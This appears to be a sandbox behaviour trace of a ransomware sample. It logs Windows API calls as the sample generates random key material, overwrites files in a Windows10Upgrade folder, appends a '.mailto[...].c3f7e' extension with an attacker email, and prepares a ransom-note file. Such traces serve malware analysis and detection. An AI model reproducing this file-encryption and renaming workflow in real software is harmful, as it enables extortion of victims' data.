	[0086.196] wcscat (in: _Dest=0x2d5d408, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.196] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x294bfa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d620
	[0086.196] NtSetInformationFile (FileHandle=0x18d0, IoStatusBlock=0x294bfa90, FileInformation=0x4f2d620, Length=0xb8, FileInformationClass=0xa) returned 0x0
	[0086.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d620) returned 1
	[0086.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0086.198] NtQueryInformationFile (in: FileHandle=0x18d0, IoStatusBlock=0x294bfaa4, FileInformation=0x294bfa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x294bfaa4, FileInformation=0x294bfa7c) returned 0x0
	[0086.198] NtSetInformationFile (FileHandle=0x18d0, IoStatusBlock=0x294bfaa4, FileInformation=0x294bfa7c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0086.199] FlushFileBuffers (hFile=0x18d0) returned 1
	[0093.096] CloseHandle (hObject=0x18d0) returned 1
	[0093.097] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed370
	[0093.097] wcscpy (in: _Dest=0x47ed370, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0093.097] wcscat (in: _Dest=0x47ed370, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt"
	[0093.097] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\c3f7e-readme.txt")) 

Thread:
	id = 1181
	os_tid = 0x1ee8

	[0086.193] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png")) returned 0x20
	[0086.194] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png", dwFileAttributes=0x20) returned 1
	[0086.199] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18d4
	[0086.200] GetFileSizeEx (in: hFile=0x18d4, lpFileSize=0x2953fb2c | out: lpFileSize=0x2953fb2c*=221) returned 1
	[0086.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.200] NtQuerySystemTime (in: CurrentTime=0x2953fa8c | out: CurrentTime=0x2953fa8c*=132251868129373551) returned 0x0
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x139a946b
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xbb1c353f
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x5c030c49
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xbda9fdd6
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x71bdec8f
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x46148c26
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x276b449b
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x88a01c8e
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x922a0422
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x22c8e9ac
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x9807b551
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xf1ebfa15
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xb2a2f563
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x234f2a96
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x495a1410
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x76d120af
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xc9b56316
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xfbc745e2
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x162bff04
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x6a39df7a
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x18404b5e
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x59310c0f
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xc3e0a27b
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xedcb115e
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x5967971d
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xb3b10658
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x1bb98468
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x6d9f6ac0
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0xc3aa7e45
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x48b4e0ee
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x7219965d
	[0086.200] RtlRandom (in: Seed=0x2953fa98 | out: Seed=0x2953fa98) returned 0x5a0c0b42
	[0086.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.209] ReadFile (in: hFile=0x18d4, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x2953fa88, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2953fa88*=0xdd, lpOverlapped=0x0) returned 1
	[0086.210] SetFilePointerEx (in: hFile=0x18d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.210] WriteFile (in: hFile=0x18d4, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x2953fa84, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x2953fa84*=0xdd, lpOverlapped=0x0) returned 1
	[0093.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49848e8
	[0093.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984be0
	[0093.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984be0) returned 1
	[0093.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0093.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0093.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0093.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0093.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d78140
	[0093.312] SetFilePointerEx (in: hFile=0x18d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.312] WriteFile (hFile=0x18d4, lpBuffer=0x4716e28, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x2953faec, lpOverlapped=0x0) 

Thread:
	id = 1182
	os_tid = 0x1eec

	[0086.211] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css")) returned 0x20
	[0086.212] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css", dwFileAttributes=0x20) returned 1
	[0086.212] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18d8
	[0086.212] GetFileSizeEx (in: hFile=0x18d8, lpFileSize=0x295bfc0c | out: lpFileSize=0x295bfc0c*=5767) returned 1
	[0086.212] SetFilePointerEx (in: hFile=0x18d8, liDistanceToMove=0x1683, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.212] ReadFile (in: hFile=0x18d8, lpBuffer=0x295bfb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x295bfb8c, lpOverlapped=0x0 | out: lpBuffer=0x295bfb90*, lpNumberOfBytesRead=0x295bfb8c*=0x4, lpOverlapped=0x0) returned 1
	[0086.213] SetFilePointerEx (in: hFile=0x18d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.213] NtQuerySystemTime (in: CurrentTime=0x295bfb6c | out: CurrentTime=0x295bfb6c*=132251868129529719) returned 0x0
	[0086.213] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xbd5a6ea8
	[0086.213] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x88fd4b8
	[0086.213] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x50297ee7
	[0086.213] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xb86a4bc5
	[0086.213] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x9a77df8e
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x8190467e
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x649d2b6d
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x4192d3d1
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x98a37d4c
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xe52d2fe6
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xe17613fb
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xf0c58971
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xe24e75d
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xec694b39
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x11c1aaa4
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xa5b35203
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xfd629306
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xd76df80a
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xb730c696
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xfde55404
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x71dc92c5
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x76da9f77
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xfd1a0644
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xb382dc96
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xe41720f
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x88efa666
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xa002d1d7
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x3e46ccec
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xa10d6b8a
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0xf4b24609
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x920a1f6e
	[0086.214] RtlRandom (in: Seed=0x295bfb78 | out: Seed=0x295bfb78) returned 0x1a8ddc16
	[0086.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0086.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0086.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0086.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77448) returned 1
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0086.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0086.224] ReadFile (in: hFile=0x18d8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x295bfb68, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x295bfb68*=0x1687, lpOverlapped=0x0) returned 1
	[0086.225] SetFilePointerEx (in: hFile=0x18d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.225] WriteFile (in: hFile=0x18d8, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0x1687, lpNumberOfBytesWritten=0x295bfb64, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x295bfb64*=0x1687, lpOverlapped=0x0) returned 1
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d780b0
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77db0
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77290
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77290) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x500cbe8
	[0086.226] SetFilePointerEx (in: hFile=0x18d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.227] WriteFile (in: hFile=0x18d8, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x295bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x295bfbcc*=0x107, lpOverlapped=0x0) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0092.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0092.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f508
	[0092.854] wcscpy (in: _Dest=0x2d7f508, _Source="C:\\Windows10Upgrade\\resources\\ux\\default.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css"
	[0092.854] wcscat (in: _Dest=0x2d7f508, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.854] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x295bfb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d320

Thread:
	id = 1183
	os_tid = 0x1ef0

	[0086.225] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm")) returned 0x20
	[0086.226] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm", dwFileAttributes=0x20) returned 1
	[0086.228] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18dc
	[0086.228] GetFileSizeEx (in: hFile=0x18dc, lpFileSize=0x2963fcf0 | out: lpFileSize=0x2963fcf0*=62541) returned 1
	[0086.228] SetFilePointerEx (in: hFile=0x18dc, liDistanceToMove=0xf449, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.228] ReadFile (in: hFile=0x18dc, lpBuffer=0x2963fc74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2963fc70, lpOverlapped=0x0 | out: lpBuffer=0x2963fc74*, lpNumberOfBytesRead=0x2963fc70*=0x4, lpOverlapped=0x0) returned 1
	[0086.229] SetFilePointerEx (in: hFile=0x18dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773f8
	[0086.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.229] NtQuerySystemTime (in: CurrentTime=0x2963fc50 | out: CurrentTime=0x2963fc50*=132251868129686199) returned 0x0
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x671e22e3
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x70111225
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x2b85ae97
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xfd33a096
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xf6b454a8
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x38813fed
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x50cf2769
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xfb70d445
	[0086.229] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x9443353b
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x95717ed4
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x3893a94e
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xd5a64e82
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xbdb154d1
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x8c59acf9
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x7e36b039
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xb1de487b
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xf3af689d
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xded18911
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xf327e256
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xbd11980
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xa8715e05
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xd4d615be
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xbcdb071f
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x11e83091
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xb7b43e01
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xca1822f0
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xfbdc8ee8
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xe847e356
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xcd500ce
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xa3905fdc
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0xb92b0b8b
	[0086.230] RtlRandom (in: Seed=0x2963fc5c | out: Seed=0x2963fc5c) returned 0x4ad211ad
	[0086.237] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77448
	[0086.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e044c8
	[0086.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77290
	[0086.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0086.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
